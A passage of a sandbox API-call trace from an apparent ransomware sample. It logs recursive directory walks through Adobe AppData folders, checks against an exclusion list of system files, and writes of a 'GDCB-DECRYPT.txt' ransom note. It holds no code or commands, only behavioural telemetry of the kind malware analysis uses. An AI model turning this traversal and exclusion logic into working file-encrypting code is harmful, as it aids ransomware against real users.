csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.005] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.005] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.005] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.005] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.005] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 136 [0170.005] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0170.005] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0x5a4e18 [0170.005] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.005] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.005] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.005] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.005] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.005] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0170.005] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0170.005] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0170.005] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 143 [0170.005] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.005] lstrcmpW (lpString1="Cookies-journal", lpString2=".") returned 1 [0170.005] lstrcmpW (lpString1="Cookies-journal", lpString2="..") returned 1 [0170.005] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0170.005] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 151 [0170.005] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.005] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.005] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.005] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0170.006] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 152 [0170.006] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.006] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0 [0170.006] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.006] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.006] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt") returned 153 [0170.006] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cookie\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.007] GetLastError () returned 0x50 [0170.007] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.007] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 136 [0170.007] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0170.007] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0x5a4e18 [0170.007] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.007] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.007] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.007] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.007] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.007] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0170.007] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0170.007] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0170.007] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.007] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 143 [0170.007] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 143 [0170.007] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.007] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.007] lstrcmpW (lpString1="Cookies-journal", lpString2=".") returned 1 [0170.007] lstrcmpW (lpString1="Cookies-journal", lpString2="..") returned 1 [0170.007] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0170.007] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.008] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 151 [0170.008] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 151 [0170.008] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.008] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.008] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.008] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.008] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0170.008] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.008] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 152 [0170.008] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 152 [0170.008] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 152 [0170.008] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 152 [0170.008] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.008] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.008] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.008] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.008] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.008] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.008] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.008] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.008] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.008] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.009] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0 [0170.009] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.009] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.009] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.009] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.009] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0170.009] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.009] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 145 [0170.009] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 145 [0170.009] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 145 [0170.009] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 145 [0170.009] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.009] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.009] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.009] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.009] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.009] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.009] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.009] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.009] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.009] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.009] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0170.009] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0170.009] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.009] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.009] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.009] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0170.010] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.010] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 137 [0170.010] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 137 [0170.010] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 137 [0170.010] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 137 [0170.010] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.010] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.010] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.010] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.010] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.010] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.010] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.010] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.010] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.010] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.010] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0170.010] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.010] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0170.010] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.010] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.010] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0170.010] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.010] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 134 [0170.010] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 134 [0170.010] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 134 [0170.010] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 134 [0170.010] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.010] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.010] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.011] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.011] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.011] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.011] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.011] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.011] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.011] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.011] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0170.011] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0170.011] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0170.011] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0170.011] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0170.011] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color" [0170.011] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\" [0170.011] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.011] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.011] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.011] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.011] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.011] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.012] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned 116 [0170.012] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*" [0170.012] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5a4e18 [0170.012] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.012] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.012] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.012] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.012] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.012] lstrcmpW (lpString1="ACECache11.lst", lpString2=".") returned 1 [0170.012] lstrcmpW (lpString1="ACECache11.lst", lpString2="..") returned 1 [0170.012] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst" [0170.012] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 130 [0170.012] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.012] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.012] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.012] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 